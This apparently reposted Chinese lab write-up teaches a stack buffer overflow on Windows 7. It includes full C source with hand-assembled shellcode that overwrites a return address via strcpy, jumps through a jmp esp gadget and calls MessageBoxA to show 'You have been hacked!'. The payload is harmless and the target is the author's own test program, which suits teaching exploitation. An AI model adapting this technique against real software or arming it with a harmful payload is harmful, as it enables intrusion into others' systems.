緩沖區溢出利用與ShellCode編寫


一、實驗目的

  1. 熟悉編寫shellCode的流程
  2. 掌握緩沖區溢出的利用

二、實驗環境

  1. 系統環境:Windows環境
  2. 軟件環境:C++ ,緩沖區溢出文件鏈接

三、實驗原理

  1. 要實施一次有效的緩沖區溢出攻擊,攻擊者必須完成如下任務:
    (1)在程序的地址空間里植入適當的代碼(稱為shellcode)用於完成獲取系統控制權等非法任務。
    (2)通過修改寄存器或內存,讓程序執行流跳轉到攻擊者植入的shellcode地址空間執行。
  2. 在具體實現時,我們通過三個步驟完成緩沖區溢出:
    (1).精確查找返回地址的位置
    (2).查找一個適合的地址用於覆蓋原始地址
    (3).編寫shellcode到對應的緩沖區
    (4).編寫shellcode彈出攻擊對話框

四、實驗步驟

  • 利用緩沖區溢出漏洞首先需要精確查找到返回地址的位置
    打開Windows7虛擬機,編寫一個overrun.dsw工程文件,代碼如下所示:
#include "string.h"
#include "stdio.h"
#include "windows.h"	
char name[] = "ABCDEFGH"
			"IJKL"
			"\xb3\x00\x00\x00"//填入獲取的jmp esp指令地址
			"\x33\xDB" //xor ebx,ebx
			"\x53"     //push ebx  				
			"\x68\x69\x6E\x67\x20"//push 0x20676e69
			"\x68\x57\x61\x72\x6E"//push 0x6e726157				
			"\x8B\xC4"  //mov eax,esp
			"\x53"  //push ebx
			"\x68\x21\x20\x20\x20"//push 0x20202021
			"\x68\x63\x6b\x65\x64"//push 0x64656b63
			"\x68\x6e\x20\x68\x61"//push 0x6168206e
			"\x68\x20\x62\x65\x65"//push 0x65656220
                        "\x68\x68\x61\x76\x65"//push 0x65766168
			"\x68\x59\x6f\x75\x20"//push 0x20756f59
			"\x8B\xCC" //mov ecx,esp
			"\x53"//push ebx
			"\x50"//push eax
			"\x51"//push ecx
			"\x53"//push ebx
			"\xb8\x00\x00\x00\x00"//MessageBoxA地址賦給eax
			"\xFF\xD0" //call eax
			"\x53" //push ebx
			"\xb8\x00\x00\x00\x00" //將之前實驗獲取的ExitProcess函數的地址賦給eax
			"\xFF\xD0"; //call eax;

	int main()
	{
		char buffer[8];
		LoadLibrary("user32.dll");
		strcpy(buffer,name);
		printf("%s\n",buffer);
		getchar();
		return 0;
	}
  • 獲取jmp esp 指令地址:
    打開緩沖區溢出文件夾—找到Searchjmp文件夾,加載SearhjmpEsp.dsw文件。運行程序,程序列出jmp esp指令的地址。我們隨機選取一個jmp esp的地址,例如:0x75a0a0b3如下圖所示:獲取jmp esp指令地址

  • 獲取對話框函數(注入函數)地址:
    通過漏洞調用MessageBoxA對話框首先要獲取相關函數的地址,雙擊打開緩沖區溢出文件夾—找到Searchjmp文件夾,加載SerchFunctionAddr.dsw文件,運行程序。獲取對應函數的地址。函數MessageBoxA的地址為0x759aea11,函數ExitProcess的地址為0x76e0214f。如圖2-2-3所示。(修改代碼可以獲取其他API函數的地址)為了讓溢出程序正常關閉,這里我們還獲取了ExitProcess函數的地址

  • 將獲取jmp esp 指令地址和獲取對話框函數(注入函數)地址,替換overrun.cpp文件內的jmp esp指令地址和MessageBoxA和ExitProcess地址

#include "string.h"
#include "stdio.h"
#include "windows.h"	
char name[] = "ABCDEFGH"
			"IJKL"
			"\xb3\xa0\xa0\x75"//填入獲取的jmp esp指令地址
			"\x33\xDB" //xor ebx,ebx
			"\x53"     //push ebx  				
			"\x68\x69\x6E\x67\x20"//push 0x20676e69
			"\x68\x57\x61\x72\x6E"//push 0x6e726157				
			"\x8B\xC4"  //mov eax,esp
			"\x53"  //push ebx
			"\x68\x21\x20\x20\x20"//push 0x20202021
			"\x68\x63\x6b\x65\x64"//push 0x64656b63
			"\x68\x6e\x20\x68\x61"//push 0x6168206e
			"\x68\x20\x62\x65\x65"//push 0x65656220
                        "\x68\x68\x61\x76\x65"//push 0x65766168
			"\x68\x59\x6f\x75\x20"//push 0x20756f59
			"\x8B\xCC" //mov ecx,esp
			"\x53"//push ebx
			"\x50"//push eax
			"\x51"//push ecx
			"\x53"//push ebx
			"\xb8\x11\xea\x9a\x75"//MessageBoxA地址賦給eax
			"\xFF\xD0" //call eax
			"\x53" //push ebx
			"\xb8\x4F\x21\xe0\x76" //將之前實驗獲取的ExitProcess函數的地址賦給eax
			"\xFF\xD0"; //call eax;

	int main()
	{
		char buffer[8];
		LoadLibrary("user32.dll");
		strcpy(buffer,name);
		printf("%s\n",buffer);
		getchar();
		return 0;
	}
  • 運行overrun.cpp程序,按下空格,彈出對話框成功。如下圖所示:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM